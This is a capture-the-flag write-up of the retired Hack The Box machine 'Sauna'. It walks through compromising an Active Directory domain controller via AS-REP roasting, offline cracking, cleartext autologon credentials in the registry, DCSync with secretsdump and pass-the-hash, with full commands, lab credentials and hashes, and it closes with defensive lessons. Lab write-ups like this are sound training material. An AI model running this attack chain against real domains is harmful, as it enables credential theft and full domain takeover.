root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat sauna.md
// writeups

Sauna

15 Feb 2020 · 8 min read
writeupshacktheboxwindowsEasyretiredvip
Sauna - maquina de Hack The Box

Executive summary — Sauna is an Easy Active Directory Windows box: employee profiles published on the website reveal the domain's username convention; fsmith has Kerberos pre-authentication disabled, so an AS-REP Roasting attack yields a hash that's crackable offline. Once inside, internal enumeration uncovers autologon credentials stored in the registry (svc_loanmgr), an account that also holds DCSync rights over the domain: with them we dump the Administrator NTLM hash and log in via pass-the-hash. A Web → AS-REP → WinRM → autologon → DCSync → DA path.

PlatformHack The Box
Operating systemWindows (AD)
DifficultyEasy
StatusRetired
Target IP10.129.4.62

Attack map

[80] web → employee profiles → username fsmith
   ▼
[AS-REP]  fsmith without Kerberos pre-auth → GetNPUsers → john → Thestrokes23
   ▼
[WINRM]  fsmith  (user.txt)
   │  internal enumeration → autologon in the registry (svc_loanmgr)
   │  svc_loanmgr has DCSync rights
   ▼
[DCSYNC]  secretsdump → Administrator NTLM hash → pass-the-hash → root.txt

1. Recon and environment setup

Since this is an Active Directory box, Kerberos needs to resolve both the hostname and the domain correctly, so we add both to /etc/hosts before touching anything else. HTB's target IP can change between sessions: always check the current one on the platform before starting.

echo "10.129.4.62 sauna.htb egotistical-bank.local" | sudo tee -a /etc/hosts
ping -c 1 sauna.htb

2. Nmap enumeration

We start with a standard service scan and, in parallel, a full port sweep so nothing outside Nmap's top-1000 gets missed.

nmap -Pn -sC -sV 10.129.4.62
nmap -Pn -p- --min-rate=1500 10.129.4.62 -oN sauna_allports.txt

The result is the classic fingerprint of a Domain Controller:

  • 53 DNS
  • 88 Kerberos
  • 135 RPC
  • 139 NetBIOS
  • 389 LDAP
  • 445 SMB
  • 593 RPC over HTTP
  • 3268 Global Catalog LDAP
  • 80 HTTP (corporate website)

Kerberos + LDAP + Global Catalog together confirm we're facing an Active Directory DC, not a standalone Windows host.

3. Web enumeration and username generation

The website (http://10.129.4.62) publishes staff profiles. This kind of information —very common on corporate sites and LinkedIn— is gold for an attacker: it reveals the domain's real username convention with no brute-forcing needed.

Among the profiles is Fergus Smith. Applying the first-initial + surname convention gives us the most likely username:

fsmith

We save it as our single candidate to try AS-REP roasting against:

echo fsmith > users.txt

4. AS-REP Roasting with Impacket

AS-REP Roasting: if an account has Kerberos preauthentication disabled, the KDC hands back an AS-REP ticket encrypted with that user's password without requiring any prior credentials. That ticket can be cracked offline.

impacket-GetNPUsers egotistical-bank.local/ -usersfile users.txt -dc-ip 10.129.4.62 -no-pass -request
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...

5. Cracking the hash

We save the returned hash to hash.txt and dictionary-attack it with John the Ripper:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
fsmith:Thestrokes23

6. Credential validation and initial access

Before spawning a shell, we validate the username/password pair over SMB:

netexec smb 10.129.4.62 -u fsmith -p 'Thestrokes23'

With WinRM enabled for fsmith, we log straight in via Evil-WinRM:

evil-winrm -i 10.129.4.62 -u fsmith -p 'Thestrokes23'
type C:\Users\fsmith\Desktop\user.txt

7. Internal enumeration — svc_loanmgr credentials

Now inside as fsmith, system enumeration turns up autologon credentials stored in the registry: when Windows is configured to log in automatically, the username and password are left in cleartext under the Winlogon key, readable by anyone with local access.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultUserName: svc_loanmgr
DefaultPassword: Moneymakestheworldgoround!

We confirm the service account is valid:

netexec smb 10.129.4.62 -u svc_loanmgr -p 'Moneymakestheworldgoround!'

8. DCSync with secretsdump

DCSync abuses Active Directory's replication permissions (Replicating Directory Changes / ...All) so an attacker can impersonate a Domain Controller and ask the real DC to "replicate" the credentials of any domain account —including Administrator— without ever running code on the DC itself. svc_loanmgr holds those rights.

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.4.62
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::

The initial RemoteOperations error is harmless: secretsdump can't mount the classic SMB-based path, but it automatically falls back to the DRSUAPI method (domain replication itself) and still retrieves the Administrator NTLM hash.

9. Pass-the-Hash — Administrator and root

With the NTLM hash in hand there's no need for the cleartext password: NTLM allows authenticating by presenting the hash directly.

evil-winrm -i 10.129.4.62 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
type C:\Users\Administrator\Desktop\root.txt

Domain fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconCorporate websiteEmployee profiles expose the username conventionfsmith username derived without brute-forcing
FootholdKerberosAS-REP Roasting (fsmith without pre-auth)Crackable Kerberos hash → WinRM as fsmith
Post-exploitationRegistry (Winlogon)Cleartext autologon credentials (svc_loanmgr)Service account compromised
PrivEscAD (domain replication)svc_loanmgr with DCSync rightsAdministrator hash → Domain Admin

Lessons learned

  • Public information (corporate sites, LinkedIn) feeds AD user lists: review what your company exposes before an attacker does.
  • AS-REP Roasting: require Kerberos pre-auth on every account, and use long passwords on service accounts, which rarely get rotated.
  • Never configure autologon with privileged or service accounts: the password ends up in cleartext, readable by any local user.
  • DCSync equals game over: regularly audit which accounts hold domain replication rights (Replicating Directory Changes); service accounts almost never should.
  • A RemoteOperations error in secretsdump isn't necessarily a failure: check whether the tool falls back to the DRSUAPI method before writing off the attack.